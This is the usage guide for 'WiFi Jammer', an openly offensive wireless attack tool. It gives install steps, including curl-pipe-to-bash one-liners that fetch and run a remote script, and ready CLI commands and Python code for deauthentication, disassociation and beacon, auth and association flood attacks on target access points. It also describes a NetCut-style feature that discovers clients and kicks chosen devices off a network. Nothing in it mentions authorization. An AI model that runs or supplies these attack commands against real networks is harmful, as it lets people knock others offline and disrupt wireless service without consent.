Usage Guide
Complete guide to installing and using WiFi Jammer on different platforms and interfaces.
Installation
macOS (Automated Setup)
The automated setup script handles everything for you:
git clone https://github.com/oyi77/wifi-jammer.git
cd wifi-jammer
bash install.sh
# or for quick install:
bash quick_install.sh
This automatically:
- Installs all dependencies
- Requests Location Services permission
- Detects which Python has permission
- Sets everything up for you
One-liner Installation (All Platforms)
# Linux/macOS
curl -sSL https://raw.githubusercontent.com/oyi77/wifi-jammer/main/quick_install.sh | bash
# Windows (PowerShell)
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/oyi77/wifi-jammer/main/quick_install.sh" -UseBasicParsing).Content
Manual Installation
git clone https://github.com/oyi77/wifi-jammer.git
cd wifi-jammer
bash install.sh
Note: After installation, you may need to run with
sudo for full functionality, especially for attacks.
Interface Selection
WiFi Jammer offers three interfaces to suit different preferences:
1. Command-Line Interface (CLI)
Traditional terminal-based interface with rich output and progress bars.
2. Text User Interface (TUI)
Modern, interactive terminal interface built with Textual framework.
sudo wifi-jammer --tui
# or
sudo ./wifi-jammer.sh attack --tui
3. Graphical User Interface (GUI)
Cross-platform Qt-based graphical interface for Windows, macOS, and Linux.
sudo wifi-jammer --gui
# or
sudo wifi-jammer-gui
# or
sudo ./venv/bin/python3 -m wifi_jammer.gui
Command-Line Usage
Network Scanning
Scan for available WiFi networks:
# Using wrapper script
./wifi-jammer.sh scan
# Using installed command
wifi-jammer scan
# With specific interface
./wifi-jammer.sh scan --interface en0
# With specific channel
./wifi-jammer.sh scan --interface en0 --channel 6
Launching TUI
# Using wrapper script
sudo ./wifi-jammer.sh attack --tui
# Using installed command
sudo wifi-jammer attack --tui
Launching GUI
# Using wrapper script
sudo ./wifi-jammer.sh attack --gui
# Using installed command
sudo wifi-jammer --gui
sudo wifi-jammer-gui
Direct Attack
Launch an attack directly from the command line:
# Using wrapper script
sudo ./wifi-jammer.sh attack --interface en0 --target 00:11:22:33:44:55 --attack deauth
# Using installed command
sudo wifi-jammer attack --interface en0 --target 00:11:22:33:44:55 --attack deauth
# With additional options
sudo wifi-jammer attack \
--interface en0 \
--target 00:11:22:33:44:55 \
--attack deauth \
--count 100 \
--delay 0.1 \
--channel 6
Scan Only (No Attack)
sudo ./wifi-jammer.sh --scan-only
Available Attack Types
| Attack Type | Description | Use Case |
|---|---|---|
deauth |
Deauthentication attack | Disconnect clients from access point |
disassoc |
Disassociation attack | Disassociate clients from network |
beacon_flood |
Beacon flood attack | Flood network with fake access points |
auth_flood |
Authentication flood attack | Overwhelm access point with auth requests |
assoc_flood |
Association flood attack | Overwhelm access point with association requests |
probe_response |
Probe response flood attack | Flood network with probe responses |
Client Discovery & Selective Kicking
WiFi Jammer includes built-in NetCut-style functionality for discovering and selectively kicking clients.
Discovering Connected Clients
sudo ./wifi-jammer.sh --interface en0
# Select your target network
# Choose deauth attack
# Answer "yes" when asked to discover clients
The tool will:
- 🔍 Scan for 30 seconds to discover all connected devices
- 📋 Show you a list of discovered clients (excluding your device)
- 🎯 Let you select specific clients to kick OR kick all
- ⚡ Send targeted deauth packets to only those clients
- 💻 Keep you connected while others are kicked
Standalone NetCut Tool
For a dedicated NetCut experience:
sudo python3 tools/netcut.py
Note: The NetCut tool requires you to be connected to the target WiFi network first.
Command-Line Options
| Option | Short | Description |
|---|---|---|
--interface |
-i |
Wireless interface to use (e.g., en0, wlan0) |
--target |
-t |
Target BSSID (MAC address) |
--attack |
-a |
Attack type (deauth, disassoc, beacon_flood, etc.) |
--count |
-c |
Number of packets to send (0 for unlimited) |
--delay |
-d |
Delay between packets in seconds |
--channel |
-ch |
Channel to use |
--verbose |
-v |
Verbose output |
--gui |
Launch Qt GUI | |
--tui |
Launch modern TUI |
Programmatic Usage
You can also use WiFi Jammer programmatically in your Python scripts:
Example: Scan and Attack
from wifi_jammer.core.interfaces import AttackType, AttackConfig
from wifi_jammer.scanner import ScapyNetworkScanner
from wifi_jammer.factory import AttackFactory
from wifi_jammer.utils import RichLogger
# Initialize components
logger = RichLogger()
scanner = ScapyNetworkScanner(logger)
factory = AttackFactory()
# Get available interfaces
interfaces = scanner.get_interface_list()
interface = interfaces[0] # Use first available
# Scan for networks
networks = scanner.scan_networks(interface)
# Select target network
target_network = networks[0]
# Create attack configuration
config = AttackConfig(
attack_type=AttackType.DEAUTH,
target_bssid=target_network.bssid,
target_ssid=target_network.ssid,
channel=target_network.channel,
interface=interface,
count=10, # Send 10 packets
delay=0.5, # 0.5 second delay
verbose=True
)
# Create and execute attack
attack = factory.create_attack(AttackType.DEAUTH)
if attack.execute(config):
logger.success("Attack started successfully!")
# ... let it run ...
attack.stop()
Example: Beacon Flood
config = AttackConfig(
attack_type=AttackType.BEACON_FLOOD,
target_bssid="", # Not needed for beacon flood
interface="wlan0",
count=50,
delay=0.1,
verbose=True
)
attack = factory.create_attack(AttackType.BEACON_FLOOD)
if attack.execute(config):
# Run for 10 seconds
import time
time.sleep(10)
attack.stop()
Important: All programmatic usage examples require root privileges. Make sure to run your scripts with
sudo.
Requirements
- Python 3.8+
- Root privileges (for wireless interface access on Linux/macOS)
- Wireless interface with monitor mode support
- Linux, macOS, or Windows (limited functionality)
Dependencies
- scapy: Packet manipulation
- netifaces: Network interface management
- psutil: System utilities
- rich: Beautiful terminal output
- click: CLI framework
- colorama: Cross-platform colored output
- PyQt6: Cross-platform GUI framework (for GUI mode)
- textual: Modern TUI framework (for TUI mode)